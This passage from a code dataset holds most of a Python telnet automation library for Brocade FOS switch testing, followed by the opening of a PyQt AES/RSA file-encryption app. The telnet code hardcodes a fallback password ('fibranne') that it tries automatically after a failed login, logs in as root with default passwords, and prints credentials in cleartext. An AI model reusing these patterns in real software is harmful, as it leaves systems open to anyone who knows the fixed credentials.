\n return(cmd_out)\n \n \n def flow_config(self):\n \"\"\"\n the flow configuration\n \n \"\"\"\n \n cmd_out = fos_cmd(\"flow --show\")\n \n return(cmd_out)\n \n def simPorts(self):\n \n return 0 \n \n \n def toggle_all(self, on_off = \"on\"):\n \"\"\"\n simport enable or disable\n default is to turn all ports to simports\n \n \"\"\"\n state = \"-enable\"\n if on_off == \"off\":\n state = \"-disable\"\n \n portlist = self.all_ports()\n print(portlist)\n \n \n if self.am_i_director:\n for i in portlist:\n slot = i[0]\n port = i[1]\n #pattern = re.compile(r'(?:\\Sim\\sPort\\s+)(?P ON)')\n #cmd = fos_cmd(\"portcfgshow %a/%a\" % (slot, port))\n #ex = pattern.search(cmd)\n #if ex:\n fos_cmd(\"flow --control -simport %s/%s %s\" %(slot, port, state))\n #fos_cmd(\"flow --control -simport \"+slot+\"/\"+port+\" %s\"%(state))\n \n \n else: \n for i in portlist:\n #pattern = re.compile(r'(?:\\Sim\\sPort\\s+)(?P ON)')\n #cmd = fos_cmd(\"portcfgshow %a\" % i)\n #ex = pattern.search(cmd)\n #if ex:\n fos_cmd(\"flow --control -simport %s %s \" %(i, state))\n #fos_cmd(\"flow --control -simport \"+i+\" %s\"%(state))\n \n return(portlist)\n\ndef login(pw=\"\"):\n pa = liabhar.parse_args(sys.argv)\n if pw == \"\":\n pw = getpass.getpass()\n conn_value = connect_tel(pa,pw)\n return(conn_value)\n\ndef close_tel():\n global tn\n tn.write(b\"exit\\n\")\n tn.close()\n return 0\n \ndef connect_tel(pa, pw, dbl):\n global tn\n try:\n fid = pa.fid\n verbose = pa.verbose\n HOST = pa.ip\n usrname = pa.user\n password = pw\n \n usrn = usrname + '> '\n usrn = usrn.encode()\n telnet_closed = \"telnet connection closed\"\n telnet_closed = telnet_closed.encode()\n bad_login = \"Login incorrect\"\n bad_login = bad_login.encode()\n reg_ex_list = [b\"hlogin: \", b\"Password: \", b\"option :\", b\"root>\", usrn, telnet_closed, bad_login ]\n #print(HOST)\n #print(usrname)\n #print(password)\n tn = telnetlib.Telnet(HOST)\n tn.set_debuglevel(dbl)\n tn.read_until(b\"login: \")\n tn.write(usrname.encode('ascii') + b\"\\n\")\n if password:\n tn.read_until(b\"Password: \")\n tn.write(password.encode('ascii') + b\"\\n\")\n capture = tn.expect(reg_ex_list, 10)\n capture_t = capture\n capture = capture[2]\n badlog0 = capture_t[0]\n capture = capture.decode()\n if badlog0 == 6:\n print(\"Could not connect at this time\")\n print(\"Try again with a correct username / password combination\")\n print(\"\\n========================================================\\n\\n\\n\")\n tn.write(usrname.encode('ascii') + b\"\\n\")\n \n if password:\n tn.read_until(b\"assword: \")\n p_fibranne = \"fibranne\" \n tn.write(p_fibranne.encode('ascii') + b\"\\n\")\n capture = tn.expect(reg_ex_list, 10)\n capture_t = capture\n capture = capture[2]\n badlog0 = capture_t[0]\n capture = capture.decode()\n #sys.exit()\n \n \n print(capture)\n con_out = fos_cmd(\"\")\n con_out = fos_cmd(\"setcontext %s\"%(fid))\n print(con_out)\n \n return(tn) \n \n except EOFError:\n print(\"========================\")\n print(\"handle the EOF case here\")\n print(\" anturlar connect_tel \")\n print(\"========================\")\n pass\n \ndef connect_tel_noparse(HOST,usrname,password, *args):\n global tn\n try:\n \n usrn = usrname + '> '\n usrn = usrn.encode()\n telnet_closed = \"telnet connection closed\"\n telnet_closed = telnet_closed.encode()\n bad_login = \"Login incorrect\"\n bad_login = bad_login.encode()\n traff_server = \" ~]# \"\n #traff_prompt = \"----------\"\n traff_prompt = \" ~]# \"\n traff_server = traff_server.encode()\n \n reg_ex_list = [b\"hlogin: \", b\"assword: \", b\"option :\", b\"root>\", usrn, telnet_closed, bad_login, traff_server, b\"key to proceed\"]\n #print(HOST)\n #print(usrname)\n #print(password)\n tn = telnetlib.Telnet(HOST)\n tn.set_debuglevel(0)\n tn.read_until(b\"login: \")\n tn.write(usrname.encode('ascii') + b\"\\n\")\n if password:\n tn.read_until(b\"Password: \")\n tn.write(password.encode('ascii') + b\"\\n\")\n capture = tn.expect(reg_ex_list, 10)\n capture_t = capture\n \n capture = capture[2]\n \n badlog0 = capture_t[0]\n capture = capture.decode()\n if badlog0 == 6:\n print(\"Could not connect at this time\")\n print(\"Try again with a correct username / password combination\")\n print(\"\\n========================================================\\n\\n\\n\")\n tn.write(usrname.encode('ascii') + b\"\\n\")\n \n if password:\n tn.read_until(b\"assword: \")\n p_fibranne = \"fibranne\" \n tn.write(p_fibranne.encode('ascii') + b\"\\n\")\n capture = tn.expect(reg_ex_list, 10)\n capture_t = capture\n capture_k = capture\n capture = capture[2]\n badlog0 = capture_t[0]\n capture = capture.decode()\n #sys.exit()\n #print(\"\\n\"*35)\n #print(\"\\n========================================================\\n\"*20)\n #print(\"\\nIN ANTURLAR TELNET NOPARE login with fibranne \")\n #print(\"\\n========================================================\\n\"*20)\n #print(capture)\n #print(type(capture))\n #capture_k = capture_k[0]\n #print(\"CAPTURE K \\n\\n\")\n #print(capture_k)\n #print(\"CAPTURE K \\n\\n\\n\\n\\n\\n\")\n \n if capture_k == 8:\n print(\"FOUND THE key to proceed WORDS\")\n print(capture_k)\n \n #if str(\"key to proceed\") in capture:\n tn.write(b\"\\n\")\n capture = tn.expect(reg_ex_list, 10)\n print(\"\\n=================== found the key ===========================\"*10)\n print(capture)\n tn.write(b\"fibranne\\n\")\n capture = tn.expect(reg_ex_list, 10)\n while capture[0] == 1:\n tn.write(password.encode('ascii') + b\"\\n\")\n capture = tn.expect(reg_ex_list, 10)\n else:\n print(\"DID NOT FIND Key to proceed\")\n print(\"^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^\\n\"*20)\n sys.exit()\n \n #print(\"\\nLEAVING LOGIN PROCEDURE \"*20) \n print(capture)\n return(tn) \n \n except EOFError:\n print(\"==================================\")\n print(\" handle the EOF case here \")\n print(\" anturlar connect_tel_no_parse \")\n print(\"==================================\")\n sys.exit()\n \n \ndef connect_tel_noparse_power(HOST,usrname,password, *args):\n global tn\n try:\n \n usrn = usrname + '> '\n usrn = usrn.encode()\n telnet_closed = \"telnet connection closed\"\n telnet_closed = telnet_closed.encode()\n bad_login = \"Login incorrect\"\n bad_login = bad_login.encode()\n reg_ex_list = [b\"cli->\", b\"\\$ \" ]# b\"Password: \", b\"option :\", b\"root>\", usrn, telnet_closed, bad_login, b\"cli->\" ]\n #print(HOST)\n #print(usrname)\n #print(password)\n tn = telnetlib.Telnet(HOST)\n tn.set_debuglevel(0)\n tn.read_until(b\"login: \")\n tn.write(usrname.encode('ascii') + b\"\\r\\n\")\n if password:\n tn.read_until(b\"Password: \")\n tn.write(password.encode('ascii') + b\"\\r\\n\")\n capture = tn.expect(reg_ex_list)\n capture_t = capture\n capture = capture[2]\n badlog0 = capture_t[0]\n #print(\"@\"*80)\n #print(capture)\n #print(\"$\"*80)\n capture = capture.decode('ascii', 'ignore')\n if badlog0 == 6:\n print(\"Could not connect at this time\")\n print(\"Try again with a correct username / password combination\")\n print(\"\\n========================================================\\n\\n\\n\")\n sys.exit()\n \n print(capture)\n return(capture) \n \n except EOFError:\n print(\"========================\")\n print(\"handle the EOF case here\")\n print(\"========================\")\n sys.exit()\n pass\n \ndef connect_tel_noparse_traffic(HOST,usrname,password, *args):\n global tn\n tn.set_debuglevel(0)\n try:\n \n usrn = usrname + '> '\n usrn = usrn.encode()\n telnet_closed = \"telnet connection closed\"\n telnet_closed = telnet_closed.encode()\n bad_login = \"Login incorrect\"\n bad_login = bad_login.encode()\n traff_server = \" ~]# \"\n #traff_prompt = \"----------\"\n traff_prompt = \" ~]# \"\n traff_server = traff_server.encode()\n \n reg_ex_list = [b\"hlogin: \", b\"inistrator\", b\"assword: \", b\"option :\", b\"root>\", usrn, telnet_closed, bad_login, traff_server ]\n #print(HOST)\n #print(usrname)\n #print(password)\n tn = telnetlib.Telnet(HOST)\n tn.set_debuglevel(0)\n tn.read_until(b\"login: \")\n tn.write(usrname.encode('ascii') + b\"\\r\\n\")\n \n if password:\n #print(\"looking for password here ::\")\n #tn.expect(reg_ex_list,10)\n tn.read_until(b\"assword:\")\n tn.write(password.encode('ascii') + b\"\\r\\n\")\n capture = tn.expect(reg_ex_list, 10)\n capture_t = capture\n capture = capture[2]\n badlog0 = capture_t[0]\n capture = capture.decode()\n if badlog0 == 6:\n print(\"Could not connect at this time\")\n print(\"Try again with a correct username / password combination\")\n print(\"\\n========================================================\\n\\n\\n\")\n sys.exit()\n \n print(capture)\n return(capture) \n \n except EOFError:\n print(\"========================\")\n print(\"handle the EOF case here\")\n print(\"========================\")\n pass\n \n\ndef power_cmd(cmd, dl=0):\n global tn\n try: \n telnet_closed = \"telnet connection closed\"\n telnet_closed = telnet_closed.encode()\n #traff_prompt = \"\\(yes, no\\) : \"\n #traff_prompt = traff_prompt.encode()\n \n tn.set_debuglevel(dl)\n reg_ex_list = [b\"cli->\", b\"\\(yes, no\\) : \", b\"seconds.\", b\"\\$ \", telnet_closed] # b\"Password: \", b\"option :\", b\"root>\", b\"Forcing Failover ...\", usrn, telnet_closed ]\n capture = \"\"\n print(cmd)\n tn.write(cmd.encode('ascii') + b\"\\r\\n\")\n capture = tn.expect(reg_ex_list)\n capture = capture[2]\n capture = capture.decode()\n print(capture, end=\"\")\n return capture\n except EOFError:\n print(\"========================\")\n print(\"handle the EOF case here\")\n print(\"========================\")\n \ndef power_cmd_raritan(cmd, dl=0):\n global tn\n try: \n telnet_closed = \"telnet connection closed\"\n telnet_closed = telnet_closed.encode()\n #traff_prompt = \"\\(yes, no\\) : \"\n #traff_prompt = traff_prompt.encode()\n \n tn.set_debuglevel(dl)\n reg_ex_list = [b\">\", b\"\\[y/n]\" , telnet_closed] # b\"Password: \", b\"option :\", b\"root>\", b\"Forcing Failover ...\", usrn, telnet_closed ]\n capture = \"\"\n print(cmd)\n tn.write(cmd.encode('ascii') + b\"\\r\\n\")\n capture = tn.expect(reg_ex_list)\n capture = capture[2]\n capture = capture.decode()\n print(capture, end=\"\")\n return capture\n except EOFError:\n print(\"========================\")\n print(\"handle the EOF case here\")\n print(\"========================\")\n\ndef fos_cmd_regex(cmd, reg,dblevel=0):\n ###########################################################################\n #### \n #### to pass the reg make it a list and b style\n #### reg_list = [b'[my reg expression]', b'second expression' ]\n ####\n ####\n ###########################################################################\n \n global tn\n try: \n usrn = var.sw_user + '> '\n usrn = usrn.encode()\n telnet_closed = \"telnet connection closed\"\n telnet_closed = telnet_closed.encode()\n \n tn.set_debuglevel(dblevel)\n \n #reg = reg.encode()\n reg_ex_list = [reg, b\"login: \", b\"Password: \", b\"option :\", b\"root>\", usrn, telnet_closed ]\n reg_ex_list = reg\n reg_ex_list.append(usrn)\n \n capture = \"\"\n print(cmd)\n tn.write(cmd.encode('ascii') + b\"\\n\")\n \n capture = tn.expect(reg_ex_list, 3600)\n capture = capture[2]\n capture = capture.decode()\n print(capture, end=\"\")\n tn.set_debuglevel(dblevel)\n return(capture)\n \n except EOFError:\n print(\"========================\")\n print(\"handle the EOF case here\")\n print(\" in fos_cmd_regex() \")\n print(\"========================\")\n\ndef fos_cmd(cmd, dl=0):\n global tn\n try: \n #usrn = var.sw_user + '> '\n #usrn = usrn.encode()\n telnet_closed = \"telnet connection closed\"\n telnet_closed = telnet_closed.encode()\n #traff_prompt = \" ~]# \"\n #traff_prompt = \"----------\"\n #traff_prompt = \"]# \"\n #traff_prompt = traff_prompt.encode()\n \n tn.set_debuglevel(dl)\n #reg_ex_list = [b\"login: \", b\"Password: \", b\"option :\", b\"root>\", b\"Forcing Failover ...\", usrn, telnet_closed ]\n reg_ex_list = [b\"login: \", b\"Password: \", b\"option :\", b\"root>\", b\"Forcing Failover ...\", b\"admin>\", telnet_closed ]\n \n capture = \"\"\n # print(\"username in fos_cmd anturlar \")\n # #print(\"\\n\\n\")\n # #print(usrn)\n # print(cmd)\n # print(\"*=#\"*80)\n tn.write(cmd.encode('ascii') + b\"\\n\")\n \n #capture = tn.expect(reg_ex_list, 60)\n capture = tn.expect(reg_ex_list)\n capture = capture[2]\n capture = capture.decode('ascii', 'ignore')\n #print(\"@@\"*40)\n #print(\"CAPTURE\\n\\n\")\n #print(capture, end=\"\")\n return(capture)\n \n except EOFError:\n print(\"========================\")\n print(\"handle the EOF case here\")\n print(\" in fos_cmd func \")\n print(\"========================\")\n \n except SocketError as e:\n if e.errno != errno.ECONNRESET:\n print(\"\\n\\n\\nCONNECTION ERROR TRYING TO RECONNECT\\n\\n\\n\")\n raise \n print(\"========================\")\n print(\"handle the EOF case here\")\n print(\" in fos_cmd func \")\n print(\"========================\") \n except:\n print(\"===============================================\")\n print(\"\\n\\nTHERE WAS AN ERROR WITH THE CAPTURE IN \\n\")\n print(\"fos_cmd in anturlar.py \\n\\n\")\n print(\"===============================================\") \n\n sys.exit()\n\n\ndef traff_cmd(cmd, dl=0):\n global tn\n try: \n \n telnet_closed = \"telnet connection closed\"\n telnet_closed = telnet_closed.encode()\n \n traff_prompt = \"]# \"\n traff_prompt = traff_prompt.encode()\n \n #\n tn.set_debuglevel(dl)\n #reg_ex_list = [b\"hlogin: \", b\"Password: \", b\"option :\", b\"root>\", b\"Forcing Failover ...\", usrn, telnet_closed, traff_prompt ]\n reg_ex_list = [ telnet_closed, traff_prompt, b\"Administrator\", b\"admin\"]\n \n capture = \"\"\n print(cmd)\n tn.write(cmd.encode('ascii') + b\"\\r\\n\")\n \n #capture = tn.expect(reg_ex_list, 60)\n capture = tn.expect(reg_ex_list)\n capture = capture[2]\n capture = capture.decode()\n print(capture, end=\"\")\n \n \n return capture\n \n #except EOFError:\n #print(\"========================\")\n #print(\"handle the EOF case here\")\n #print(\"========================\")\n #except SocketError as e:\n # if e.errno != errno.ECONNRESET:\n # print(\"\\n\\n\\nCONNECTION ERROR TRYING TO RECONNECT\\n\\n\\n\")\n # raise \n # print(\"========================\")\n # print(\"handle the EOF case here\")\n # print(\"========================\") \n except:\n print(\"========================\")\n print(\"\\n\\nTELNET ERROR\\n\\n\")\n print(\"========================\") \n\n \n \ndef traff_output(dl= 0):\n global tn\n try:\n while True:\n telnet_closed = \"telnet connection closed\"\n telnet_closed = telnet_closed.encode()\n traff_prompt = \"]# \"\n traff_prompt = traff_prompt.encode()\n traff_cpu = \".*CPU \\d+\"\n traff_err = \".*Read:\\d+\"\n traff_wrt = \".*Write:\\d+\"\n \n traff_cpu = traff_cpu.encode()\n traff_err = traff_err.encode()\n traff_wrt = traff_wrt.encode()\n \n tn.set_debuglevel(dl)\n reg_ex_list = [ telnet_closed, traff_prompt, traff_cpu, traff_err, traff_wrt]\n capture = \"\"\n capture = tn.expect(reg_ex_list)\n capture = capture[2]\n capture = capture.decode()\n print(capture, end=\"\")\n \n if \"]# \" in capture:\n return capture\n else:\n pass\n \n except:\n \n print(\"error in anturlar traff_ouput \")\n pass\n\n \ndef fos_cmd_regex_gen(cmd, reg,dblevel=0):\n ###########################################################################\n #### \n #### to pass the reg make it a list and b style\n #### reg_list = [b'[my reg expression]', b'second expression' ]\n ####\n #### gen since teh user name is not needed\n ###########################################################################\n \n global tn\n try: \n #usrn = var.sw_user + '> '\n #usrn = usrn.encode()\n telnet_closed = \"telnet connection closed\"\n telnet_closed = telnet_closed.encode()\n \n tn.set_debuglevel(dblevel)\n reg = reg.encode()\n #reg = reg.encode()\n reg_ex_list = [reg, b\"login: \", b\"Password: \", b\"option :\", b\"root>\", telnet_closed ]\n #reg_ex_list = reg\n #reg_ex_list.append(usrn)\n \n capture = \"\"\n print(cmd)\n tn.write(cmd.encode('ascii') + b\"\\n\")\n \n capture = tn.expect(reg_ex_list, 3600)\n capture = capture[2]\n capture = capture.decode()\n print(capture, end=\"\")\n tn.set_debuglevel(dblevel)\n return(capture)\n \n except EOFError:\n print(\"========================\")\n print(\"handle the EOF case here\")\n print(\"========================\")\n \n\ndef fos_cmd_regex_only(cmd, reg,dblevel=0):\n ###########################################################################\n #### \n #### to pass the reg make it a list and b style\n #### reg_list = [b'[my reg expression]', b'second expression' ]\n ####\n #### gen since teh user name is not needed\n ###########################################################################\n \n global tn\n try: \n #usrn = var.sw_user + '> '\n #usrn = usrn.encode()\n telnet_closed = \"telnet connection closed\"\n telnet_closed = telnet_closed.encode()\n \n tn.set_debuglevel(dblevel)\n reg = reg.encode()\n #reg = reg.encode()\n reg_ex_list = [reg ]\n #reg_ex_list = reg\n #reg_ex_list.append(usrn)\n \n capture = \"\"\n print(cmd)\n tn.write(cmd.encode('ascii') + b\"\\n\")\n \n capture = tn.expect(reg_ex_list, 3600)\n capture = capture[2]\n capture = capture.decode()\n print(capture, end=\"\")\n tn.set_debuglevel(dblevel)\n return(capture)\n \n except EOFError:\n print(\"========================\")\n print(\"handle the EOF case here\")\n print(\"========================\")\n \n\ndef remote_os_ver(ip=\"127.0.0.1\", dl=0):\n \n ###########################################################################\n #### find the os type of remote switch\n #### if the ip is not passed it will find the version of local switch\n ####\n ###########################################################################\n \n db_level = dl\n ras = re.compile('ttl=([\\d]{1,3})')\n this_command = \"ping -c 1 \" + ip + \"\\r\\n\"\n reg = \"]#\"\n connect_tel_noparse(\"127.0.0.1\",\"root\", \"pass\")\n \n cmdout = fos_cmd_regex_gen(this_command,reg, 9)\n \n os_ver = ras.findall(cmdout)\n print(\"\\n\"*33)\n print(os_ver)\n os_is = \"\"\n if os_ver[0] == '128':\n os_is = \"windows\"\n if os_ver[0] == '64':\n os_is = \"linux\"\n \n \n close_tel()\n \n\n return(os_is)\n\n\n\ndef connect_console(HOST,port,db=0, *args):\n \"\"\"\n connect to the console\n \n HOST = the ip address of console \n usrname = will be created from the port number example port17\n password = pass\n port = console port number -- example 3017\n \n db = set the telnet debug level default is 0 / off can be set up to 10 \n other args = none at this time \n \n \n \"\"\"\n global tn\n \n \n var = 1\n reg_list = [b\"aaaaa: \", b\"Login incorrect\", b\"option : \", b\"root> \", b\"login: \", b\"r of users: \"] #### using b for byte string\n reg_list_r = [b\".*\\n\", b\":root> \"]\n \n password = \"pass\"\n capture = \"\"\n option = 1\n #############################################################################\n #### parse the user name for console login\n ####\n port = str(port)\n usrname = parse_port(port)\n print(\"connecting via Telnet to \" + HOST + \" on port \" + port )\n print(HOST)\n print(usrname)\n print(password)\n print(port)\n \n tn = telnetlib.Telnet(HOST,port)\n print(\"tn value is \", tn)\n tn.set_debuglevel(db)\n \n \n print(\"-------------------------------------------------ready to read lines\")\n #############################################################################\n #### login \n capture = tn.read_until(b\"login: \")\n print(capture)\n tn.write(usrname.encode('ascii') + b\"\\r\\n\")\n #if password:\n capture = tn.read_until(b\"assword: \")\n print(capture)\n tn.write(password.encode('ascii') + b\"\\r\\n\")\n \n print(\"\\n\\n\\n\\n\\n\\n\\n\\n\")\n \n #############################################################################\n #### login to the switch\n reg_list = [ b\"Enter your option\", b\"login: \", b\"assword: \", b\"root> \", b\"users: \", b\"=>\" ] \n while var <= 4:\n #print(\"start of the loop var is equal to \")\n capture = \"\"\n capture = tn.expect(reg_list)\n print(capture)\n \n if capture[0] == 0:\n tn.write(b\"1\")\n \n if capture[0] == 1:\n tn.write(b\"root\\r\\n\")\n \n if capture[0] == 2:\n tn.write(b\"assword\\r\\n\")\n \n if capture[0] == 3:\n print(capture)\n print(\"this found root\")\n break\n \n if capture[0] == 4:\n print(capture)\n print(\"\\n\\n\\n\\n\\n\\nFOUND USERS: \\n\\n\")\n tn.write(b\"\\r\\n\")\n #capture = tn.expect(reg_list)\n #break\n if capture[0] == 5:\n print(capture)\n var += 4\n break\n \n var += 1\n \n capture = tn.expect(reg_list, 20)\n if capture[0] == 1 :\n tn.write(b\"root\\r\\n\")\n capture = tn.expect(reg_list, 20)\n tn.write(b\"password\\r\\n\")\n capture = tn.expect(reg_list, 20)\n \n\n capture = tn.expect(reg_list, 20)\n \n return(tn)\n\n\n\n\n\n\ndef parse_port(port):\n \"\"\"\n pass the port number of the console \n return the port number that can be used in the connect_console procedure\n \n example port is 3017 and the return value will be port17\n \n \"\"\"\n \n print(\"port number \" , port )\n print(\"\\n\\n\")\n print(\"My type is %s\"%type(port))\n print(\"\\n\\n\\n\\n\")\n ras = re.compile('([0-9]{2})([0-9]{2})')\n ras_result = ras.search(port)\n print(\"port front is \", ras_result.group(1))\n print(\"port back is \", ras_result.group(2))\n usrname = ras_result.group(2)\n if usrname < \"10\":\n ras = re.compile('([0]{1})([0-9]{1})')\n ras_result = ras.search(usrname)\n usrname = ras_result.group(2)\n usrname = \"port\" + usrname\n return usrname\n\n\n\n\n\ndef send_cmd_console(cmd, db=10):\n \"\"\"\n send a command to the console when connected\n \n \"\"\"\n \n \n global tn\n \n tn.set_debuglevel(db)\n \n capture = \"\"\n cmd_look = cmd.encode()\n \n #reg_ex_list = [b\".*:root> \"]\n reg_ex_list = [b\"root> \", b\"admin> \", b\"ogin:\", b\"assword:\"]\n print(cmd)\n tn.write(cmd.encode('ascii') + b\"\\n\")\n capture = tn.expect(reg_ex_list,3600)\n #print(capture[0])\n #print(capture[1])\n #print(capture[2])\n capture = capture[2]\n capture = capture.decode()\n print(capture, end=\"\")\n \n return(capture)\n\n","sub_path":"lib/FOS/anturlar.py","file_name":"anturlar.py","file_ext":"py","file_size_in_byte":99631,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"177821821","text":"import os,sys\r\nimport hashlib\r\nimport random\r\nimport base64,rsa\r\nfrom Cryptodome.Cipher import AES\r\nfrom PyQt5 import QtWidgets,QtGui,QtCore\r\nfrom PyQt5.QtWidgets import *\r\nfrom PyQt5.QtCore import *\r\nfrom foo.DataManagement import DataManagement\r\nfrom foo.Login import LoginDialog\r\nfrom foo.Key import KeyDialog\r\n\r\n################################################\r\n#######创建主窗口\r\n################################################\r\nclass MainWindow(QMainWindow):\r\n windowList = []\r\n def __init__(self, *args, **kwargs):\r\n super().__init__(*args, **kwargs)\r\n self.setupUi()\r\n self.showMaximized()\r\n # 创建菜单栏\r\n self.createMenus()\r\n\r\n def setupUi(self):\r\n self.setGeometry(200, 200, 800, 600)\r\n self.setWindowTitle('创建主窗口')\r\n self.centralwidget = QtWidgets.QWidget(self)\r\n self.centralwidget.setWindowTitle('centralwidget')\r\n self.pushButton = QtWidgets.QPushButton(self.centralwidget)\r\n self.pushButton.setGeometry(QtCore.QRect(620, 20, 75, 23))\r\n self.pushButton.setObjectName(\"pushButton\")\r\n self.pushButton_3 = QtWidgets.QPushButton(self.centralwidget)\r\n self.pushButton_3.setGeometry(QtCore.QRect(700, 20, 75, 23))\r\n self.pushButton_3.setObjectName(\"pushButton_3\")\r\n\r\n self.label = QtWidgets.QLabel(self.centralwidget)\r\n self.label.setGeometry(QtCore.QRect(50, 20, 54, 21))\r\n self.label.setObjectName(\"label\")\r\n self.label_2 = QtWidgets.QLabel(self.centralwidget)\r\n self.label_2.setGeometry(QtCore.QRect(53, 70, 61, 20))\r\n self.label_2.setObjectName(\"label_2\")\r\n self.label_3 = QtWidgets.QLabel(self.centralwidget)\r\n self.label_3.setGeometry(QtCore.QRect(50, 180, 54, 21))\r\n self.label_3.setObjectName(\"label_3\")\r\n self.pushButton_2 = QtWidgets.QPushButton(self.centralwidget)\r\n self.pushButton_2.setGeometry(QtCore.QRect(620, 70, 75, 23))\r\n self.pushButton_2.setObjectName(\"pushButton_2\")\r\n self.pushButton_4 = QtWidgets.QPushButton(self.centralwidget)\r\n self.pushButton_4.setGeometry(QtCore.QRect(700, 70, 75, 23))\r\n self.pushButton_4.setObjectName(\"pushButton_4\")\r\n\r\n self.lineEdit = QtWidgets.QLineEdit(self.centralwidget)\r\n self.lineEdit.setGeometry(QtCore.QRect(120, 20, 471, 20))\r\n self.lineEdit.setObjectName(\"lineEdit\")\r\n self.lineEdit_2 = QtWidgets.QLineEdit(self.centralwidget)\r\n self.lineEdit_2.setGeometry(QtCore.QRect(120, 70, 471, 20))\r\n self.lineEdit_2.setObjectName(\"lineEdit_2\")\r\n self.tableWidget = QtWidgets.QTableWidget(self.centralwidget)\r\n self.tableWidget.setGeometry(QtCore.QRect(120, 180, 561, 361))\r\n self.tableWidget.setObjectName(\"tableWidget\")\r\n self.tableWidget.setColumnCount(2)\r\n self.tableWidget.setRowCount(0)\r\n self.tableWidget.setRowCount(1)\r\n\r\n self.tableWidget.horizontalHeader().setSectionResizeMode(QHeaderView.Stretch)\r\n self.tableWidget.horizontalHeader().setSectionResizeMode(0, QHeaderView.ResizeToContents)\r\n #self.tableWidget.horizontalHeader().setSectionResizeMode(1, QHeaderView.ResizeToContents)\r\n\r\n item = QtWidgets.QTableWidgetItem()\r\n self.tableWidget.setHorizontalHeaderItem(0, item)\r\n item = QtWidgets.QTableWidgetItem()\r\n self.tableWidget.setHorizontalHeaderItem(1, item)\r\n self.comboBox = QtWidgets.QComboBox(self.centralwidget)\r\n self.comboBox.setGeometry(QtCore.QRect(250, 120, 69, 22))\r\n self.comboBox.setObjectName(\"comboBox\")\r\n self.pushButton_5 = QtWidgets.QPushButton(self.centralwidget)\r\n self.pushButton_5.setGeometry(QtCore.QRect(500, 120, 75, 23))\r\n self.pushButton_5.setObjectName(\"pushButton_5\")\r\n\r\n self.label_4 = QtWidgets.QLabel(self.centralwidget)\r\n self.label_4.setGeometry(QtCore.QRect(195, 120, 54, 21))\r\n self.label_4.setObjectName(\"label_4\")\r\n\r\n self.setCentralWidget(self.centralwidget)\r\n self.menubar = QtWidgets.QMenuBar(self)\r\n self.menubar.setGeometry(QtCore.QRect(0, 0, 812, 23))\r\n self.menubar.setObjectName(\"menubar\")\r\n self.setMenuBar(self.menubar)\r\n self.statusbar = QtWidgets.QStatusBar(self)\r\n self.statusbar.setObjectName(\"statusbar\")\r\n self.setStatusBar(self.statusbar)\r\n\r\n self.retranslateUi(self)\r\n\r\n QtCore.QMetaObject.connectSlotsByName(self)\r\n self.tableWidget.resizeColumnsToContents()\r\n\r\n def retranslateUi(self, MainWindow):\r\n _translate = QtCore.QCoreApplication.translate\r\n self.setWindowTitle(_translate(\"MainWindow\", \"文件保险箱\"))\r\n self.pushButton.setText(_translate(\"MainWindow\", \"选择文件\"))\r\n self.pushButton_3.setText(_translate(\"MainWindow\", \"加密\"))\r\n self.label.setText(_translate(\"MainWindow\", \"文件路径\"))\r\n self.label_2.setText(_translate(\"MainWindow\", \"私 钥\"))\r\n self.label_3.setText(_translate(\"MainWindow\", \"文件列表\"))\r\n self.pushButton_2.setText(_translate(\"MainWindow\", \"选择文件\"))\r\n self.pushButton_4.setText(_translate(\"MainWindow\", \"解密\"))\r\n self.pushButton_5.setText(_translate(\"MainWindow\", \"生成密钥对\"))\r\n item = self.tableWidget.horizontalHeaderItem(0)\r\n item.setText(_translate(\"MainWindow\", \"文件路径\"))\r\n item = self.tableWidget.horizontalHeaderItem(1)\r\n item.setText(_translate(\"MainWindow\", \"加密模式\"))\r\n self.label_4.setText(_translate(\"MainWindow\", \"加密方法\"))\r\n self.comboBox.addItem(\"AES-128\")\r\n self.comboBox.addItem(\"AES-256\")\r\n\r\n self.pushButton.clicked.connect(self.changePath)\r\n self.pushButton_2.clicked.connect(self.getPrivKey1)\r\n self.pushButton_3.clicked.connect(self.newfile)\r\n self.pushButton_4.clicked.connect(self.readfile)\r\n self.showtable()\r\n self.tableWidget.setContextMenuPolicy(QtCore.Qt.CustomContextMenu)\r\n self.tableWidget.customContextMenuRequested.connect(self.readfile)\r\n self.pushButton_5.clicked.connect(self.creatkey)\r\n\r\n\r\n def createMenus(self):\r\n # 创建动作 注销\r\n self.printAction1 = QAction(self.tr(\"注销\"), self)\r\n self.printAction1.triggered.connect(self.on_printAction1_triggered)\r\n\r\n # 创建动作 退出\r\n self.printAction2 = QAction(self.tr(\"退出\"), self)\r\n self.printAction2.triggered.connect(self.on_printAction2_triggered)\r\n\r\n self.printAction3 = QAction(self.tr(\"关于\"), self)\r\n self.printAction3.triggered.connect(self.on_printAction3_triggered)\r\n\r\n # 创建菜单,添加动作\r\n self.printMenu = self.menuBar().addMenu(self.tr(\"用户\"))\r\n self.printMenu.addAction(self.printAction1)\r\n self.printMenu.addAction(self.printAction2)\r\n\r\n self.printMenu2 = self.menuBar().addMenu(self.tr(\"帮助\"))\r\n self.printMenu2.addAction(self.printAction3)\r\n\r\n def creatkey(self):\r\n\r\n mainWindow = QDialog()\r\n ui = KeyDialog()\r\n ui.setupUi(mainWindow)\r\n mainWindow.exec_()\r\n\r\n\r\n\r\n ################################################\r\n #######用户相关操作\r\n ################################################\r\n\r\n # 动作一:注销\r\n def on_printAction1_triggered(self):\r\n self.close()\r\n dialog = LoginDialog()\r\n if dialog.exec_()==QDialog.Accepted:\r\n the_window = MainWindow()\r\n self.windowList.append(the_window) #这句一定要写,不然无法重新登录\r\n the_window.show()\r\n # 动作二:退出\r\n def on_printAction2_triggered(self):\r\n self.close()\r\n # 关闭界面触发事件\r\n\r\n def on_printAction3_triggered(self):\r\n QMessageBox.about(self, \"关于\", \"版本1.0\")\r\n################################################\r\n#######文件操作\r\n################################################\r\n filedb = DataManagement()\r\n filelist = []\r\n privkey = \"\"\r\n key = \"\"\r\n mode = \"\"\r\n # 选择文件\r\n def changePath(self):\r\n open = QFileDialog()\r\n self.path = open.getOpenFileName()\r\n print(self.path)\r\n self.lineEdit.setText(self.path[0])\r\n\r\n\r\n # 文件新增\r\n def newfile(self):\r\n path = self.lineEdit.text()\r\n if path ==\"\":\r\n QMessageBox.about(self,\"错误\",\"文件地址不能为空\")\r\n else:\r\n fileinfo = self.AESen(path)\r\n dm = DataManagement()\r\n dm.insert_db(fileinfo)\r\n self.showtable()\r\n\r\n # 文件加密\r\n def AESen(self, path):\r\n fs = open(path, 'rb')\r\n fs_msg = 